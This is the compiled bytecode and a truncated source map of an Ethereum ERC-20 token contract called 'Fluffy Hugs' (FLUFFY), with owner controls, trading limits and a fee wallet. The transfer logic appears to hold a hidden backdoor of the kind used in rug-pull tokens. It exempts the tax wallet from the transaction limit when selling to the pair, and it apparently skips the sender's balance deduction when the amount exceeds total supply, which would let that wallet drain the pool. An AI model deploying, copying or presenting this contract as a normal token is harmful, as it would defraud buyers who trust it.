0x6080604052600436106101a05760003560e01c8063568d46c0116100ec5780639e78fb4f1161008a578063c31c9c0711610064578063c31c9c071461049f578063dd62ed3e146104bf578063f2fde38b14610505578063fd4fde2f1461052557600080fd5b80639e78fb4f14610454578063a9059cbb14610469578063b5838da31461048957600080fd5b8063751039fc116100c6578063751039fc146103f2578063893d20e8146104075780638da5cb5b1461040757806395d89b411461042557600080fd5b8063568d46c01461039157806370a08231146103a7578063715018a6146103dd57600080fd5b80632788986211610159578063452ed4f111610133578063452ed4f11461032557806347ea5a18146103455780634ada218b1461035a5780634d036f8a1461037b57600080fd5b806327889862146102b05780632e5b4c43146102e9578063313ce567146102fe57600080fd5b806303fd2a45146101ac57806306fdde03146101de578063095ea7b31461021b5780630faba5541461024b57806318160ddd1461026d57806323b872dd1461029057600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c1600081565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156101ea57600080fd5b5060408051808201909152600b81526a466c75666679204875677360a81b60208201525b6040516101d591906116e0565b34801561022757600080fd5b5061023b610236366004611743565b61053a565b60405190151581526020016101d5565b34801561025757600080fd5b5061026b61026636600461177d565b610551565b005b34801561027957600080fd5b506102826105af565b6040519081526020016101d5565b34801561029c57600080fd5b5061023b6102ab3660046117b6565b61062b565b3480156102bc57600080fd5b5061023b6102cb3660046117f7565b6001600160a01b031660009081526002602052604090205460ff1690565b3480156102f557600080fd5b5061026b6106a3565b34801561030a57600080fd5b50610313610891565b60405160ff90911681526020016101d5565b34801561033157600080fd5b50600d546101c1906001600160a01b031681565b34801561035157600080fd5b50610282606481565b34801561036657600080fd5b50600d5461023b90600160a01b900460ff1681565b34801561038757600080fd5b5061028260085481565b34801561039d57600080fd5b5061028260065481565b3480156103b357600080fd5b506102826103c23660046117f7565b6001600160a01b031660009081526004602052604090205490565b3480156103e957600080fd5b5061026b6108bf565b3480156103fe57600080fd5b5061026b6108f5565b34801561041357600080fd5b506000546001600160a01b03166101c1565b34801561043157600080fd5b50604080518082019091526006815265464c5546465960d01b602082015261020e565b34801561046057600080fd5b5061026b61093e565b34801561047557600080fd5b5061023b610484366004611743565b610b28565b34801561049557600080fd5b5061028260075481565b3480156104ab57600080fd5b50600c546101c1906001600160a01b031681565b3480156104cb57600080fd5b506102826104da366004611814565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561051157600080fd5b5061026b6105203660046117f7565b610b3f565b34801561053157600080fd5b50610282610bd7565b6000610547338484610bf4565b5060015b92915050565b6000546001600160a01b031633146105845760405162461bcd60e51b815260040161057b90611842565b60405180910390fd5b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b60006105bd6012600a611971565b6105cb906305f5e100611980565b6000036105d757600080fd5b6000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461060e6012600a611971565b61061c906305f5e100611980565b6106269190611997565b905090565b6001600160a01b038316600090815260016020908152604080832033845290915281205460001914610690576001600160a01b03841660009081526001602090815260408083203384529091528120805484929061068a908490611997565b90915550505b61069b848484610cb8565b949350505050565b6000546001600160a01b031633146106cd5760405162461bcd60e51b815260040161057b90611842565b600d54600160a01b900460ff16156107275760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920616c6c6f776564000000000000604482015260640161057b565b600d805460ff60a01b1916600160a01b179055600a805460ff19166001179055600c54306000818152600460205260408120546001600160a01b039093169263f305d719924792909190806107846000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107ec573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061081191906119aa565b5050600d54600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561086a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088e91906119d8565b50565b600061089f6012600a611971565b6108ad906305f5e100611980565b6000036108b957600080fd5b50601290565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161057b90611842565b6108f3600061127e565b565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161057b90611842565b61092b6012600a611971565b610939906305f5e100611980565b600b55565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161057b90611842565b600c546109829030906001600160a01b0316600019610bf4565b600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f991906119f5565b6001600160a01b031663c9c65396600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7e91906119f5565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610aca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aee91906119f5565b600d80546001600160a01b0319166001600160a01b039290921691821790556000908152600360205260409020805460ff19166001179055565b6000610b35338484610cb8565b5060019392505050565b6000546001600160a01b03163314610b695760405162461bcd60e51b815260040161057b90611842565b6001600160a01b038116610bce5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161057b565b61088e8161127e565b610be36012600a611971565b610bf1906305f5e100611980565b81565b6001600160a01b038316610c405760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161057b565b6001600160a01b038216610c8c5760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161057b565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b038416610d125760405162461bcd60e51b815260206004820152601b60248201527f696e76616c6964207265636569707469656e7420616464726573730000000000604482015260640161057b565b6001600160a01b038516610d615760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642073656e646572206164647265737360501b604482015260640161057b565b610d6d6012600a611971565b610d7b906305f5e100611980565b83111580610db35750600a546001600160a01b0386811661010090920416148015610db35750600d546001600160a01b038581169116145b610df55760405162461bcd60e51b8152602060048201526013602482015272125b9cdd59999a58da595b9d08185b5bdd5b9d606a1b604482015260640161057b565b60008311610e645760405162461bcd60e51b815260206004820152603660248201527f496e73756666696369656e74206572726f722e2074686520616d6f756e74206d6044820152757573742062652061626f7665207468616e207a65726f60501b606482015260840161057b565b6001600160a01b03851660009081526002602052604090205460ff16158015610ea657506001600160a01b03841660009081526002602052604090205460ff16155b15610efd57600d54600160a01b900460ff16610efd5760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08185b1b1bddd95960521b604482015260640161057b565b6001600160a01b03851660009081526002602052604090205460ff16158015610f3f57506001600160a01b03841660009081526002602052604090205460ff16155b8015610f6457506001600160a01b03841660009081526003602052604090205460ff16155b8015610f7857506001600160a01b03841615155b15610ff257600b546001600160a01b038516600090815260046020526040902054610fa4908590611a12565b1115610ff25760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161057b565b600d54600160a81b900460ff1615801561102457506001600160a01b03841660009081526003602052604090205460ff165b80156110395750600d54600160a01b900460ff165b80156110775750620f42406110506012600a611971565b61105e906305f5e100611980565b611069906001611980565b6110739190611a25565b8310155b1561114e5730600090815260046020526040902054620f424061109c6012600a611971565b6110aa906305f5e100611980565b6110b5906001611980565b6110bf9190611a25565b811061110b5761110b611106856111018460646110de6012600a611971565b6110ec906305f5e100611980565b6110f7906001611980565b6111019190611a25565b6112ce565b6112e6565b600a546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f1935050505015801561114b573d6000803e3d6000fd5b50505b6001600160a01b03851660009081526002602052604090205460ff168061118d57506001600160a01b03841660009081526002602052604090205460ff165b80156111c757506001600160a01b038516301480156111b95750600d546001600160a01b038581169116145b80156111c55750600554155b155b156111d0575060005b60006111f1866111e088886114e9565b6111ea8989611530565b8786611577565b6001600160a01b03861660009081526004602052604081208054929350839290919061121e908490611a12565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161126a91815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008183116112dd57826112df565b815b9392505050565b600d805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611a47565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611387573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ab91906119f5565b816001815181106113be576113be611a47565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600c5490941682529290915220546000191461142857306000908152600160209081526040808320600c546001600160a01b03168452909152902060001990555b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611461908590600090869030904290600401611a5d565b600060405180830381600087803b15801561147b57600080fd5b505af192505050801561148c575060015b61149657506114d9565b600a546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f193505050501580156114d6573d6000803e3d6000fd5b50505b50600d805460ff60a81b19169055565b6001600160a01b038116600090815260036020526040812054819060ff1615801561069b57505050506001600160a01b031660009081526003602052604090205460ff1690565b6001600160a01b038116600090815260036020526040812054819060ff16801561069b57505050506001600160a01b031660009081526003602052604090205460ff161590565b60008082611587575060006115dd565b85156115bf576005805490600061159d83611ace565b9190505550600954600554116115b5576006546115b8565b60005b90506115dd565b84156115d857600954600554116115b5576007546115b8565b506008545b600060646115eb8387611980565b6115f59190611a25565b9050801561166257306000908152600460205260408120805483929061161c908490611a12565b909155505060405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b61166c85836116b0565b6001600160a01b03891660009081526004602052604081208054909190611694908490611997565b909155506116a490508186611997565b98975050505050505050565b60006116be6012600a611971565b6116cc906305f5e100611980565b8311156116d957816112df565b5090919050565b600060208083528351808285015260005b8181101561170d578581018301518582016040015282016116f1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461088e57600080fd5b6000806040838503121561175657600080fd5b82356117618161172e565b946020939093013593505050565b801515811461088e57600080fd5b6000806040838503121561179057600080fd5b823561179b8161172e565b915060208301356117ab8161176f565b809150509250929050565b6000806000606084860312156117cb57600080fd5b83356117d68161172e565b925060208401356117e68161172e565b929592945050506040919091013590565b60006020828403121561180957600080fd5b81356112df8161172e565b6000806040838503121561182757600080fd5b82356118328161172e565b915060208301356117ab8161172e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118c85781600019048211156118ae576118ae611877565b808516156118bb57918102915b93841c9390800290611892565b509250929050565b6000826118df5750600161054b565b816118ec5750600061054b565b8160018114611902576002811461190c57611928565b600191505061054b565b60ff84111561191d5761191d611877565b50506001821b61054b565b5060208310610133831016604e8410600b841016171561194b575081810a61054b565b611955838361188d565b806000190482111561196957611969611877565b029392505050565b60006112df60ff8416836118d0565b808202811582820484141761054b5761054b611877565b8181038181111561054b5761054b611877565b6000806000606084860312156119bf57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119ea57600080fd5b81516112df8161176f565b600060208284031215611a0757600080fd5b81516112df8161172e565b8082018082111561054b5761054b611877565b600082611a4257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aad5784516001600160a01b031683529383019391830191600101611a88565b50506001600160a01b03969096166060850152505050608001529392505050565b600060018201611ae057611ae0611877565b506001019056fea2646970667358221220163e0d06eaf66a2d29d83681a92aa1bed2fd71299e5a09286c26db7f4b53928a64736f6c63430008130033

Deployed Bytecode Sourcemap

5584:8997:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5738:73;;;;;;;;;;;;5769:42;5738:73;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;5738:73:0;;;;;;;;7297:94;;;;;;;;;;-1:-1:-1;7378:5:0;;;;;;;;;;;;-1:-1:-1;;;7378:5:0;;;;7297:94;;;;;;;:::i;8911:193::-;;;;;;;;;;-1:-1:-1;8911:193:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;8911:193:0;1231:187:1;9882:117:0;;;;;;;;;;-1:-1:-1;9882:117:0;;;;;:::i;:::-;;:::i;:::-;;6813:199;;;;;;;;;;;;;:::i;:::-;;;2079:25:1;;;2067:2;2052:18;6813:199:0;1933:177:1;9415:340:0;;;;;;;;;;-1:-1:-1;9415:340:0;;;;;:::i;:::-;;:::i;9763:111::-;;;;;;;;;;-1:-1:-1;9763:111:0;;;;;:::i;:::-;-1:-1:-1;;;;;9850:16:0;9826:4;9850:16;;;:7;:16;;;;;;;;;9763:111;14062:516;;;;;;;;;;;;;:::i;7020:163::-;;;;;;;;;;;;;:::i;:::-;;;3000:4:1;2988:17;;;2970:36;;2958:2;2943:18;7020:163:0;2828:184:1;6718:21:0;;;;;;;;;;-1:-1:-1;6718:21:0;;;;-1:-1:-1;;;;;6718:21:0;;;6194:42;;;;;;;;;;;;6233:3;6194:42;;6746:34;;;;;;;;;;-1:-1:-1;6746:34:0;;;;-1:-1:-1;;;6746:34:0;;;;;;6316:26;;;;;;;;;;;;;;;;6245:28;;;;;;;;;;;;;;;;7697:117;;;;;;;;;;-1:-1:-1;7697:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7790:16:0;7763:7;7790:16;;;:7;:16;;;;;;;7697:117;949:94;;;;;;;;;;;;;:::i;13965:89::-;;;;;;;;;;;;;:::i;7399:94::-;;;;;;;;;;-1:-1:-1;7451:7:0;799:6;-1:-1:-1;;;;;799:6:0;7399:94;6813:199;7191:98;;;;;;;;;;-1:-1:-1;7274:7:0;;;;;;;;;;;;-1:-1:-1;;;7274:7:0;;;;7191:98;;8368:293;;;;;;;;;;;;;:::i;8706:197::-;;;;;;;;;;-1:-1:-1;8706:197:0;;;;;:::i;:::-;;:::i;6280:29::-;;;;;;;;;;;;;;;;6682:27;;;;;;;;;;-1:-1:-1;6682:27:0;;;;-1:-1:-1;;;;;6682:27:0;;;7501:188;;;;;;;;;;-1:-1:-1;7501:188:0;;;;;:::i;:::-;-1:-1:-1;;;;;7653:19:0;;;7621:7;7653:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;7501:188;1051:229;;;;;;;;;;-1:-1:-1;1051:229:0;;;;;:::i;:::-;;:::i;6120:67::-;;;;;;;;;;;;;:::i;8911:193::-;9015:4;9037:37;9046:10;9058:7;9067:6;9037:8;:37::i;:::-;-1:-1:-1;9092:4:0;8911:193;;;;;:::o;9882:117::-;772:7;799:6;-1:-1:-1;;;;;799:6:0;330:10;861:23;853:68;;;;-1:-1:-1;;;853:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;9965:16:0;;;::::1;;::::0;;;:7:::1;:16;::::0;;;;:26;;-1:-1:-1;;9965:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9882:117::o;6813:199::-;6868:7;6174:13;6074:2;6174;:13;:::i;:::-;6160:27;;:11;:27;:::i;:::-;6909:1;6892:18;6888:59;;6927:8;;;6888:59;5769:42;7790:16;;:7;:16;;;;6174:13;6074:2;6174;:13;:::i;:::-;6160:27;;:11;:27;:::i;:::-;6964:40;;;;:::i;:::-;6957:47;;6813:199;:::o;9415:340::-;-1:-1:-1;;;;;9570:19:0;;9549:4;9570:19;;;:11;:19;;;;;;;;9590:10;9570:31;;;;;;;;-1:-1:-1;;9570:52:0;9566:126;;-1:-1:-1;;;;;9639:19:0;;;;;;:11;:19;;;;;;;;9659:10;9639:31;;;;;;;:41;;9674:6;;9639:19;:41;;9674:6;;9639:41;:::i;:::-;;;;-1:-1:-1;;9566:126:0;9711:36;9721:6;9729:9;9740:6;9711:9;:36::i;:::-;9704:43;9415:340;-1:-1:-1;;;;9415:340:0:o;14062:516::-;772:7;799:6;-1:-1:-1;;;;;799:6:0;330:10;861:23;853:68;;;;-1:-1:-1;;;853:68:0;;;;;;;:::i;:::-;14125:14:::1;::::0;-1:-1:-1;;;14125:14:0;::::1;;;14124:15;14116:54;;;::::0;-1:-1:-1;;;14116:54:0;;6019:2:1;14116:54:0::1;::::0;::::1;6001:21:1::0;6058:2;6038:18;;;6031:30;6097:28;6077:18;;;6070:56;6143:18;;14116:54:0::1;5817:350:1::0;14116:54:0::1;14181:14;:21:::0;;-1:-1:-1;;;;14181:21:0::1;-1:-1:-1::0;;;14181:21:0::1;::::0;;14213:11:::1;:18:::0;;-1:-1:-1;;14213:18:0::1;14198:4;14213:18;::::0;;14244:10:::1;::::0;14323:4:::1;14181:21:::0;14343:22;;;:7:::1;:22;::::0;;;;;-1:-1:-1;;;;;14244:10:0;;::::1;::::0;:26:::1;::::0;14278:21:::1;::::0;14323:4;;14343:22;14181:21;14412:7:::1;772::::0;799:6;-1:-1:-1;;;;;799:6:0;;726:87;14412:7:::1;14244:216;::::0;::::1;::::0;;;-1:-1:-1;;;;;;14244:216:0;;;-1:-1:-1;;;;;6531:15:1;;;14244:216:0::1;::::0;::::1;6513:34:1::0;6563:18;;;6556:34;;;;6606:18;;;6599:34;;;;6649:18;;;6642:34;6713:15;;;6692:19;;;6685:44;14434:15:0::1;6745:19:1::0;;;6738:35;6447:19;;14244:216:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14478:6:0::1;::::0;14516:10:::1;::::0;14471:99:::1;::::0;-1:-1:-1;;;14471:99:0;;-1:-1:-1;;;;;14516:10:0;;::::1;14471:99;::::0;::::1;7269:51:1::0;-1:-1:-1;;7336:18:1;;;7329:34;14478:6:0;::::1;::::0;-1:-1:-1;14471:22:0::1;::::0;7242:18:1;;14471:99:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14062:516::o:0;7020:163::-;7072:5;6174:13;6074:2;6174;:13;:::i;:::-;6160:27;;:11;:27;:::i;:::-;7111:1;7094:18;7090:59;;7129:8;;;7090:59;-1:-1:-1;6074:2:0;;7020:163::o;949:94::-;772:7;799:6;-1:-1:-1;;;;;799:6:0;330:10;861:23;853:68;;;;-1:-1:-1;;;853:68:0;;;;;;;:::i;:::-;1014:21:::1;1032:1;1014:9;:21::i;:::-;949:94::o:0;13965:89::-;772:7;799:6;-1:-1:-1;;;;;799:6:0;330:10;861:23;853:68;;;;-1:-1:-1;;;853:68:0;;;;;;;:::i;:::-;6174:13:::1;6074:2;6174;:13;:::i;:::-;6160:27;::::0;:11:::1;:27;:::i;:::-;14019:11;:27:::0;13965:89::o;8368:293::-;772:7;799:6;-1:-1:-1;;;;;799:6:0;330:10;861:23;853:68;;;;-1:-1:-1;;;853:68:0;;;;;;;:::i;:::-;8452:10:::1;::::0;8420:63:::1;::::0;8437:4:::1;::::0;-1:-1:-1;;;;;8452:10:0::1;-1:-1:-1::0;;8420:8:0::1;:63::i;:::-;8516:10;;;;;;;;;-1:-1:-1::0;;;;;8516:10:0::1;-1:-1:-1::0;;;;;8516:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8505:43:0::1;;8563:10;;;;;;;;;-1:-1:-1::0;;;;;8563:10:0::1;-1:-1:-1::0;;;;;8563:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8505:114;::::0;-1:-1:-1;;;;;;8505:114:0::1;::::0;;;;;;-1:-1:-1;;;;;8110:15:1;;;8505:114:0::1;::::0;::::1;8092:34:1::0;8603:4:0::1;8142:18:1::0;;;8135:43;8027:18;;8505:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8496:6;:123:::0;;-1:-1:-1;;;;;;8496:123:0::1;-1:-1:-1::0;;;;;8496:123:0;;;::::1;::::0;;::::1;::::0;;-1:-1:-1;8630:16:0;;;:8:::1;:16;::::0;;;;:23;;-1:-1:-1;;8630:23:0::1;-1:-1:-1::0;8630:23:0::1;::::0;;8368:293::o;8706:197::-;8811:4;8833:40;8843:10;8855:9;8866:6;8833:9;:40::i;:::-;-1:-1:-1;8891:4:0;;8706:197;-1:-1:-1;;;8706:197:0:o;1051:229::-;772:7;799:6;-1:-1:-1;;;;;799:6:0;330:10;861:23;853:68;;;;-1:-1:-1;;;853:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1154:22:0;::::1;1132:110;;;::::0;-1:-1:-1;;;1132:110:0;;8391:2:1;1132:110:0::1;::::0;::::1;8373:21:1::0;8430:2;8410:18;;;8403:30;8469:34;8449:18;;;8442:62;-1:-1:-1;;;8520:18:1;;;8513:36;8566:19;;1132:110:0::1;8189:402:1::0;1132:110:0::1;1253:19;1263:8;1253:9;:19::i;6120:67::-:0;6174:13;6074:2;6174;:13;:::i;:::-;6160:27;;:11;:27;:::i;:::-;6120:67;:::o;9112:295::-;-1:-1:-1;;;;;9241:20:0;;9233:52;;;;-1:-1:-1;;;9233:52:0;;8798:2:1;9233:52:0;;;8780:21:1;8837:2;8817:18;;;8810:30;-1:-1:-1;;;8856:18:1;;;8849:49;8915:18;;9233:52:0;8596:343:1;9233:52:0;-1:-1:-1;;;;;9304:21:0;;9296:53;;;;-1:-1:-1;;;9296:53:0;;8798:2:1;9296:53:0;;;8780:21:1;8837:2;8817:18;;;8810:30;-1:-1:-1;;;8856:18:1;;;8849:49;8915:18;;9296:53:0;8596:343:1;9296:53:0;-1:-1:-1;;;;;9362:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;9112:295::o;10452:1835::-;10573:4;10605;-1:-1:-1;;;;;10628:21:0;;10620:61;;;;-1:-1:-1;;;10620:61:0;;9146:2:1;10620:61:0;;;9128:21:1;9185:2;9165:18;;;9158:30;9224:29;9204:18;;;9197:57;9271:18;;10620:61:0;8944:351:1;10620:61:0;-1:-1:-1;;;;;10700:21:0;;10692:56;;;;-1:-1:-1;;;10692:56:0;;9502:2:1;10692:56:0;;;9484:21:1;9541:2;9521:18;;;9514:30;-1:-1:-1;;;9560:18:1;;;9553:52;9622:18;;10692:56:0;9300:346:1;10692:56:0;6174:13;6074:2;6174;:13;:::i;:::-;6160:27;;:11;:27;:::i;:::-;10767:6;:23;;:70;;;-1:-1:-1;10804:13:0;;-1:-1:-1;;;;;10795:22:0;;;10804:13;;;;;10795:22;:41;;;;-1:-1:-1;10830:6:0;;-1:-1:-1;;;;;10821:15:0;;;10830:6;;10821:15;10795:41;10759:102;;;;-1:-1:-1;;;10759:102:0;;9853:2:1;10759:102:0;;;9835:21:1;9892:2;9872:18;;;9865:30;-1:-1:-1;;;9911:18:1;;;9904:49;9970:18;;10759:102:0;9651:343:1;10759:102:0;10903:1;10894:6;:10;10872:114;;;;-1:-1:-1;;;10872:114:0;;10201:2:1;10872:114:0;;;10183:21:1;10240:2;10220:18;;;10213:30;10279:34;10259:18;;;10252:62;-1:-1:-1;;;10330:18:1;;;10323:52;10392:19;;10872:114:0;9999:418:1;10872:114:0;-1:-1:-1;;;;;11004:16:0;;;;;;:7;:16;;;;;;;;11003:17;:38;;;;-1:-1:-1;;;;;;11025:16:0;;;;;;:7;:16;;;;;;;;11024:17;11003:38;10999:120;;;11066:14;;-1:-1:-1;;;11066:14:0;;;;11058:49;;;;-1:-1:-1;;;11058:49:0;;10624:2:1;11058:49:0;;;10606:21:1;10663:2;10643:18;;;10636:30;-1:-1:-1;;;10682:18:1;;;10675:52;10744:18;;11058:49:0;10422:346:1;11058:49:0;-1:-1:-1;;;;;11150:16:0;;;;;;:7;:16;;;;;;;;11149:17;:51;;;;-1:-1:-1;;;;;;11184:16:0;;;;;;:7;:16;;;;;;;;11183:17;11149:51;:86;;;;-1:-1:-1;;;;;;11218:17:0;;;;;;:8;:17;;;;;;;;11217:18;11149:86;:127;;;;-1:-1:-1;;;;;;11252:24:0;;;;11149:127;11131:316;;;11358:11;;-1:-1:-1;;;;;11329:16:0;;;;;;:7;:16;;;;;;:25;;11348:6;;11329:25;:::i;:::-;:40;;11303:132;;;;-1:-1:-1;;;11303:132:0;;11105:2:1;11303:132:0;;;11087:21:1;11144:2;11124:18;;;11117:30;11183:32;11163:18;;;11156:60;11233:18;;11303:132:0;10903:354:1;11303:132:0;11464:6;;-1:-1:-1;;;11464:6:0;;;;11463:7;:44;;;;-1:-1:-1;;;;;;11490:17:0;;;;;;:8;:17;;;;;;;;11463:44;:79;;;;-1:-1:-1;11528:14:0;;-1:-1:-1;;;11528:14:0;;;;11463:79;:120;;;;-1:-1:-1;6595:9:0;6174:13;6074:2;6174;:13;:::i;:::-;6160:27;;:11;:27;:::i;:::-;6574:17;;6590:1;6574:17;:::i;:::-;6573:31;;;;:::i;:::-;11563:6;:20;;11463:120;11459:405;;;11649:4;11600:28;7790:16;;;:7;:16;;;;;;6595:9;6174:13;6074:2;6174;:13;:::i;:::-;6160:27;;:11;:27;:::i;:::-;6574:17;;6590:1;6574:17;:::i;:::-;6573:31;;;;:::i;:::-;11674:20;:34;11670:120;;11727:63;11740:49;11744:6;11752:36;11756:20;6670:3;6174:13;6074:2;6174;:13;:::i;:::-;6160:27;;:11;:27;:::i;:::-;6649:17;;6665:1;6649:17;:::i;:::-;6648:25;;;;:::i;:::-;11752:3;:36::i;11740:49::-;11727:12;:63::i;:::-;11807:13;;:45;;-1:-1:-1;;;;;11807:13:0;;;;;;;;;11830:21;11807:45;;;;;;;;;11830:21;11807:13;:45;;;;;;;;;;;;;;;;;;;;;11585:279;11459:405;-1:-1:-1;;;;;11881:16:0;;;;;;:7;:16;;;;;;;;;:36;;-1:-1:-1;;;;;;11901:16:0;;;;;;:7;:16;;;;;;;;11881:36;11880:107;;;;-1:-1:-1;;;;;;11924:24:0;;11943:4;11924:24;:45;;;;-1:-1:-1;11963:6:0;;-1:-1:-1;;;;;11952:17:0;;;11963:6;;11952:17;11924:45;:62;;;;-1:-1:-1;11973:8:0;;:13;11924:62;11922:65;11880:107;11876:155;;;-1:-1:-1;12014:5:0;11876:155;12043:22;12068:84;12076:7;12085:23;12091:7;12100;12085:5;:23::i;:::-;12110:24;12117:7;12126;12110:6;:24::i;:::-;12136:6;12144:7;12068;:84::i;:::-;-1:-1:-1;;;;;12163:16:0;;;;;;:7;:16;;;;;:34;;12043:109;;-1:-1:-1;12043:109:0;;12163:16;;;:34;;12043:109;;12163:34;:::i;:::-;;;;;;;;12231:7;-1:-1:-1;;;;;12213:42:0;12222:7;-1:-1:-1;;;;;12213:42:0;;12240:14;12213:42;;;;2079:25:1;;2067:2;2052:18;;1933:177;12213:42:0;;;;;;;;-1:-1:-1;12275:4:0;;10452:1835;-1:-1:-1;;;;;10452:1835:0:o;1288:173::-;1344:16;1363:6;;-1:-1:-1;;;;;1380:17:0;;;-1:-1:-1;;;;;;1380:17:0;;;;;;1413:40;;1363:6;;;;;;;1413:40;;1344:16;1413:40;1333:128;1288:173;:::o;10342:102::-;10399:7;10430:1;10426;:5;:10;;10435:1;10426:10;;;10433:1;10426:10;10419:17;10342:102;-1:-1:-1;;;10342:102:0:o;13176:781::-;7857:6;:13;;-1:-1:-1;;;;7857:13:0;-1:-1:-1;;;7857:13:0;;;13285:16:::1;::::0;;13299:1:::1;13285:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13285:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13285:16:0::1;13261:40;;13330:4;13312;13317:1;13312:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13312:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13356:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;13356:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;13312:7;;13356:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13346:4;13351:1;13346:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13346:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:27;;;;13424:4:::1;13404:26;::::0;;;:11:::1;:26:::0;;;;;;13439:10:::1;::::0;;;::::1;13404:47:::0;;;;;;;;-1:-1:-1;;13404:68:0::1;13386:192;;13519:4;13499:26;::::0;;;:11:::1;:26;::::0;;;;;;;13534:10:::1;::::0;-1:-1:-1;;;;;13534:10:0::1;13499:47:::0;;;;;;;-1:-1:-1;;13499:67:0;;13386:192:::1;13607:10;::::0;:224:::1;::::0;-1:-1:-1;;;13607:224:0;;-1:-1:-1;;;;;13607:10:0